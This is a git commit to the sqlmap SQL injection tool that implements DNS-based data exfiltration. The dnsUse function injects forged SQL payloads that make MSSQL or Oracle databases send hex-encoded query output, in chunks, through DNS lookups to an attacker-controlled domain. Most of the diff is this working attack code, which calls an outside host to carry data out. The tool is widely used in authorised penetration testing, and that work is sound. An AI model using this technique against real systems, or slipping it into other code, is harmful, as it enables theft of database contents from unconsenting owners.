further update of DNS data retrieval mechanism through SQLi

This commit is contained in:
Miroslav Stampar 2012-04-02 14:05:30 +00:00
parent 1e01203562
commit 1cd3c3f7af
6 changed files with 112 additions and 16 deletions

View File

@ -261,7 +261,7 @@ class Agent:
if 'hex' in rootQuery: if 'hex' in rootQuery:
hexField = rootQuery.hex.query % field hexField = rootQuery.hex.query % field
else: else:
warnMsg = "switch '--hex' is currently not supported on DBMS '%s'" % Backend.getIdentifiedDbms() warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms()
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
return hexField return hexField

View File

@ -1613,7 +1613,7 @@ def getSPLSnippet(dbms, name, **variables):
for _ in variables.keys(): for _ in variables.keys():
retVal = re.sub(r"%%%s%%" % _, variables[_], retVal) retVal = re.sub(r"%%%s%%" % _, variables[_], retVal)
_ = re.search(r"%([^%]+)%", retVal, re.I) _ = re.search(r"%(\w+)%", retVal, re.I)
if _: if _:
errMsg = "unresolved variable '%s' in SPL snippet '%s'" % (_.group(1), name) errMsg = "unresolved variable '%s' in SPL snippet '%s'" % (_.group(1), name)
raise sqlmapGenericException, errMsg raise sqlmapGenericException, errMsg

View File

@ -1437,6 +1437,7 @@ def __setKnowledgeBaseAttributes(flushAll=True):
kb.delayCandidates = TIME_DELAY_CANDIDATES * [0] kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]
kb.dep = None kb.dep = None
kb.dnsMode = False
kb.docRoot = None kb.docRoot = None
kb.dumpMode = False kb.dumpMode = False
kb.dynamicMarkings = [] kb.dynamicMarkings = []

View File

@ -472,3 +472,6 @@ MAX_SINGLE_URL_REDIRECTIONS = 4
# Maximum total number of redirections (regardless of URL) - before assuming we're in a loop # Maximum total number of redirections (regardless of URL) - before assuming we're in a loop
MAX_TOTAL_REDIRECTIONS = 10 MAX_TOTAL_REDIRECTIONS = 10
# Reference: http://www.tcpipguide.com/free/t_DNSLabelsNamesandSyntaxRules.htm
MAX_DNS_LABEL = 63

View File

@ -48,29 +48,36 @@ from lib.core.threads import getCurrentThreadData
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
from lib.request.direct import direct from lib.request.direct import direct
from lib.techniques.union.use import unionUse
from lib.techniques.blind.inference import bisection from lib.techniques.blind.inference import bisection
from lib.techniques.dns.use import dnsUse
from lib.techniques.error.use import errorUse from lib.techniques.error.use import errorUse
from lib.techniques.union.use import unionUse
from lib.utils.resume import queryOutputLength from lib.utils.resume import queryOutputLength
from lib.utils.resume import resume from lib.utils.resume import resume
def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False): def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False):
start = time.time() start = time.time()
value = None
count = 0
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) if conf.dnsDomain:
value = dnsUse(payload, expression)
if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not timeBasedCompare: if value is None:
_, length, _ = queryOutputLength(expression, payload) timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
else:
length = None
kb.inferenceMode = True if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not timeBasedCompare:
count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump) _, length, _ = queryOutputLength(expression, payload)
kb.inferenceMode = False else:
length = None
if not kb.bruteMode: kb.inferenceMode = True
debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start)) count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump)
logger.debug(debugMsg) kb.inferenceMode = False
if not kb.bruteMode:
debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start))
logger.debug(debugMsg)
return value return value

View File

@ -7,10 +7,95 @@ Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/)
See the file 'doc/COPYING' for copying permission See the file 'doc/COPYING' for copying permission
""" """
def dnsUse(expression, expected=None, dump=False): import re
import time
from lib.core.agent import agent
from lib.core.common import Backend
from lib.core.common import calculateDeltaSeconds
from lib.core.common import dataToStdout
from lib.core.common import decodeHexValue
from lib.core.common import extractRegexResult
from lib.core.common import getSPLSnippet
from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.common import safecharencode
from lib.core.common import safeStringFormat
from lib.core.common import singleTimeWarnMessage
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.enums import DBMS
from lib.core.settings import MAX_DNS_LABEL
from lib.core.settings import PARTIAL_VALUE_MARKER
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
def dnsUse(payload, expression):
""" """
Retrieve the output of a SQL query taking advantage of the DNS Retrieve the output of a SQL query taking advantage of the DNS
resolution mechanism by making request back to attacker's machine. resolution mechanism by making request back to attacker's machine.
""" """
raise NotImplementedError start = time.time()
retVal = None
count = 0
offset = 1
if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE):
output = hashDBRetrieve(expression, checkConf=True)
if PARTIAL_VALUE_MARKER in output:
output = None
if output is None:
kb.dnsMode = True
while True:
count += 1
prefix, suffix = ("%s" % randomStr(3) for _ in xrange(2))
chunk_length = MAX_DNS_LABEL / 2
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)
nulledCastedField = agent.hexConvertField(nulledCastedField)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionRequest = getSPLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain)
expressionUnescaped = unescaper.unescape(expressionRequest)
forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3)))
Request.queryPage(forgedPayload, content=False, raise404=False)
_ = conf.dnsServer.pop(prefix, suffix)
if _:
_ = extractRegexResult("%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
_ = decodeHexValue(_)
output = (output or "") + _
offset += len(_)
if len(_) < chunk_length:
break
else:
break
kb.dnsMode = False
if output is not None:
retVal = output
dataToStdout("[%s] [INFO] %s: %s\r\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output)))
hashDBWrite(expression, output)
if not kb.bruteMode:
debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start))
logger.debug(debugMsg)
elif conf.dnsDomain:
warnMsg = "DNS data exfiltration method through SQL injection "
warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms()
singleTimeWarnMessage(warnMsg)
conf.dnsDomain = None
return retVal